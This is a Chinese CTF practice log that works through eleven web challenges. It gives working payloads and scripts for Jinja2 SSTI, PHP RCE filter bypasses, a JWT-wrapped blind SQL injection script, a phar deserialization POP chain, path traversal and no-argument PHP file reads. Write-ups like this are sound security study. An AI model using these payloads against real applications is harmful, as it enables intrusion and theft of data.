CTFhub刷题记录

一 [WesternCTF2018]shrine

没什么好说的，SSTI模版注入类问题，过滤了()但是我们不慌。开始注入，{{29*3}}测试通过。

发现是jinjia2的模版注入。关键点在于没有（），并且还要获取config文件，就可以获取到flag。

总结几种常用的读取config语句

1.{{config}}
2.{{self.__dict__}}
如果config和self和()都不能使用，就必须找到config的上层current_app
1.url_for.__globals__['current_app'].config['FLAG']
2.get_flashed_messages.__globals__['current_app'].config['FLAG']

二 2017-赛客夏令营-Web-Injection V2.0

十分简洁的一个界面，但是依然抵挡不住他这道题有多骚。

首先，我们得明白，登陆有两种方式

1. select * from users where username = {$username} and password = {$password}

2. $a = select password from users where username = {$username}; $a == {$password}

这是两种常用的登陆模版，当然好像还有一种比较骚的，但是在语雀笔记上，注意看他的返回字符提醒

这道题会返回用户不存在，很明显就是我们的第一种注册方式（当然还有可能就是这道题只允许admin登陆。还有时间盲注猜，等等。

三 第五空间大赛-hate_php

这里主要是绕过，他对于内置函数的限制。

这里其实就有两种的bypass的方法

1.取反或异或绕过

通过(phpinfo)()这种 来进行函数的执行

2.字符串的拼接

$a="syste";$b="m(%27cat%20flag.php%27);";$c=$a.$b;eval($c);

无字母getshell（限制长度）参考链接:https://www.cnblogs.com/wangtanzhi/p/12251619.html#autoid-0-1-0

各种php__rce：https://bbs.ichunqiu.com/thread-59273-1-1.html

简单贴个脚本备用:

import urllib.parse
find = ['G','E','T','_']//这里没有顺序
for i in range(1,256):
    for j in range(1,256):
        result = chr(i^j)
        if(result in find):
            a = i.to_bytes(1,byteorder='big')
            b = j.to_bytes(1,byteorder='big')
            a = urllib.parse.quote(a)
            b = urllib.parse.quote(b)
            print("%s:%s^%s"%(result,a,b))

四 2020-RCTF-Web-calc

屏蔽了一些字母和不可见字符，还有一些乱七八糟的东西。跟上面的题类似，不论怎么搞，直接胡乱撸他就完事了。我们取反之后就是一群不可见字符。（划走ing

这里就又有一个小trick

<?php
$a = ((1/0).(1));
var_dump($a{0});
?>

这里输出的字符是I原理是php是弱类型的语言（nodejs就没有这么简单艹）

$cmd = "phpinfo";#要运行的命令
$fin="";
$tables=
    [
        "9" => "(((9).(0)){0})",
        "8" => "(((8).(0)){0})",
        "7" => "(((7).(0)){0})",
        "6" => "(((6).(0)){0})",
        "5" => "(((5).(0)){0})",
        "4" => "(((4).(0)){0})",
        "3" => "(((3).(0)){0})",
        "2" => "(((2).(0)){0})",
        "1" => "(((1).(0)){0})",
        "0" => "(((0).(0)){0})",
        "~" => "((((0).(0)){0})|(((0/0).(0)){0}))",
        "}" => "((((4).(0)){0})|(((1/0).(0)){0}))",
        "|" => "((((4).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
        "{" => "((((2).(0)){0})|(((1/0).(0)){0}))",
        "z" => "((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
        "y" => "((((0).(0)){0})|(((1/0).(0)){0}))",
        "x" => "((((0).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
        "w" => "((((1).(0)){0})|(((1/0).(0)){2}))",
        "v" => "((((0).(0)){0})|(((1/0).(0)){2}))",
        "u" => "((((4).(0)){0})|(((0/0).(0)){1}))",
        "t" => "((((4).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "s" => "((((2).(0)){0})|(((0/0).(0)){1}))",
        "r" => "((((2).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "q" => "((((0).(0)){0})|(((0/0).(0)){1}))",
        "p" => "((((0).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "o" => "((((0/0).(0)){0})|(((-1).(1)){0}))",
        "n" => "((((0/0).(0)){0})|((((4).(0)){0})&(((-1).(1)){0})))",
        "m" => "((((0/0).(0)){1})|(((-1).(1)){0}))",
        "l" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|(((-1).(1)){0})))",
        "k" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "j" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0}))))",
        "i" => "((((0/0).(0)){1})|((((8).(0)){0})&(((-1).(1)){0})))",
        "h" => "(((((8).(0)){0})&(((-1).(1)){0}))|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "g" => "((((1/0).(0)){2})|((((1).(0)){0})&(((-1).(1)){0})))",
        "f" => "((((1/0).(0)){2})|((((4).(0)){0})&(((-1).(1)){0})))",
        "e" => "((((0/0).(0)){1})|((((4).(0)){0})&(((-1).(1)){0})))",
        "d" => "(((((0).(0)){0})|(((1/0).(0)){2}))&((((0/0).(0)){1})|(((-1).(1)){0})))",
        "c" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "b" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0}))))",
        "a" => "((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0})))",
        "`" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0}))))",
        "O" => "((((0/0).(0)){0})|(((0/0).(0)){1}))",
        "N" => "(((0/0).(0)){0})",
        "M" => "(((((4).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "L" => "((((0/0).(0)){0})&((((4).(0)){0})|(((1/0).(0)){0})))",
        "K" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "J" => "((((0/0).(0)){0})&((((2).(0)){0})|(((1/0).(0)){0})))",
        "I" => "(((1/0).(0)){0})",
        "H" => "((((0/0).(0)){0})&(((1/0).(0)){0}))",
        "G" => "((((0/0).(0)){1})|(((1/0).(0)){2}))",
        "F" => "(((1/0).(0)){2})",
        "E" => "(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "D" => "((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))",
        "C" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "B" => "((((0/0).(0)){0})&((((2).(0)){0})|(((0/0).(0)){1})))",
        "A" => "(((0/0).(0)){1})",
        "@" => "((((0/0).(0)){0})&(((0/0).(0)){1}))",
        "?" => "((((2).(0)){0})|(((-1).(1)){0}))",
        ">" => "((((6).(0)){0})|(((8).(0)){0}))",
        "=" => "((((0).(0)){0})|(((-1).(1)){0}))",
        "<" => "((((4).(0)){0})|(((8).(0)){0}))",
        ";" => "((((2).(0)){0})|(((9).(0)){0}))",
        ":" => "((((2).(0)){0})|(((8).(0)){0}))",
        "/" => "(((((2).(0)){0})|(((-1).(1)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "." => "(((((6).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "-" => "(((-1).(1)){0})",
        "," => "((((-1).(1)){0})&((((0).(0)){0})|(((0/0).(0)){0})))",
        "+" => "(((((2).(0)){0})|(((9).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "*" => "(((((2).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        ")" => "((((9).(0)){0})&(((-1).(1)){0}))",
        "(" => "((((8).(0)){0})&(((-1).(1)){0}))",
        "'" => "((((7).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "&" => "((((6).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "%" => "((((5).(0)){0})&(((-1).(1)){0}))",
        "$" => "((((4).(0)){0})&(((-1).(1)){0}))",
        "#" => "((((3).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        '"' => "((((2).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "!" => "((((1).(0)){0})&(((-1).(1)){0}))"
    ];
for($i=0;$i<strlen($cmd);$i++) {
    $fin = $fin.$tables[$cmd[$i]].'.';
}
echo substr($fin,0,strlen($fin)-1);

这里再借助上面的(phpinfo)()来进行完美的绕过。

小trcik:nmap 可以直接读取文件 -il参数

五 js_on

弱口令登陆

这个key，让我不得不看一下我的jwt

然后

这里我的第一反应其实是xss或者ssti注入

结果是一道盲注，我确实是没有想到这道题是这个骚做法。（联系一下开放的注册端口，应该是注入，应该是注入，还有过滤空格，select这些，骚呀。

#!/usr/bin/python python3
#-*-coding:utf-8-*-
#CTF_2020网鼎杯_玄武组_Web题_js_on

import requests,jwt,time

url='http://f3837049ec024ba1a59616045d15741a29b3253216334191.cloudgame1.ichunqiu.com/'
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'

flag = ''

for i1 in range(1,50):
    for i2 in range(33,127):
        time_start = time.time()

        #生成组装jwt,放入data，发出请求
        user = '1234\'or/**/1=if(ord(substr((sele<>ct/**/load_file(\'//flag\')),'+str(a)+',1))='+str(i)+',sl<>eep(5),1)#'
        encoded_jwt = jwt.encode({'user':user,'news':'1234'},key,algorithm='HS256')
        data={ 'Cookie':'token='+str(encoded_jwt)}
        res=requests.get(url,data=data)      

        if time.time() - time_start > 5:
            flag += chr(i2)
            print(flag)

六 picdown

有下载页面的十拿九稳的文件包含，然后介绍几个常用的文件夹（学习linux牛鼻）

../../../../../proc/self/cmdline查看当前正在执行的任务命令

常用的proc目录：https://blog.csdn.net/shenhuxi_yu/article/details/79697792

/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接open打开了文件，创建文件描述符

然后后面就是无脑拼命令。

七 国赛 love_math

重点就在于hex2bin这个函数了，其他就是新建变量这些操作了。

八 国赛 CISCN-2019-华北赛区-Day2-Web-Web1

括号绕空格，这些基础操作了。

九 CISCN-2019-华北赛区-Day1-Web-Web1

文件下载是入后，发现源码泄漏的入口，进行源码的获取，然后代码审计。

审计代码，构建pop链子就好了，当然离不开这些骚骚的协议了。最骚的上传文件和绕过，离不开我的phar协议，无视后缀，无视操作，只要有协议用。（巅峰极客的wp）

放上链接：https://xz.aliyun.com/t/2715

贴个脚本（前面的反序列自己搞定。

<?php

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function __construct()
    {
        $this->nickname = new Reader();
        $this->backup = "/flag";
    }
}
class dbCtrl
{
    public $token;
    public function __construct()
    {
        $this->token = new User;
    }
}

Class Reader{
    public $filename;
    public $result;
}

$y1ng = new dbCtrl();

$phar = new Phar("web1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng);//这是数据
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

@rename("web1.phar", "y1ng.gif");

compress.zlib://phar://ying.gif/test.txt

这样联合绕过协议的限制，它不香吗？

十 BJDCTF-2020-Web-Cookie is so subtle!

这里就是一个错觉，有几个点（原题，又忘了。。。

1.cookie中数据不需要url编码传输

2.SSI的注入

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content);
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";

    }else
    {
	***
    }
	***
?>

文件写入，再加上SHTML的特征基本就是SSI注入了

SSTI xss SSI 等等命令

十一 ByteCTF 2019 –WEB- Boring-Code

parse_url的绕过:https://www.jianshu.com/p/80ce73919edb

然后就是无参数的乱杀了。

贴上几个payload（效果是读取上层目录

构建ascii的46，构建出.

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

exp：

import requests
import time
localtime = time.asctime( time.localtime(time.time()) )
url='http://challenge-72b9ac351e12c91b.sandbox.ctfhub.com:10080/code/'
while 1:
    response=requests.post(url,data={'url':'compress.zlib://data:@baidu.com/baidu.com?,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));'}).text
    if 'ctfhub' in response:
        print('flag:'+response+"\n",localtime)
        break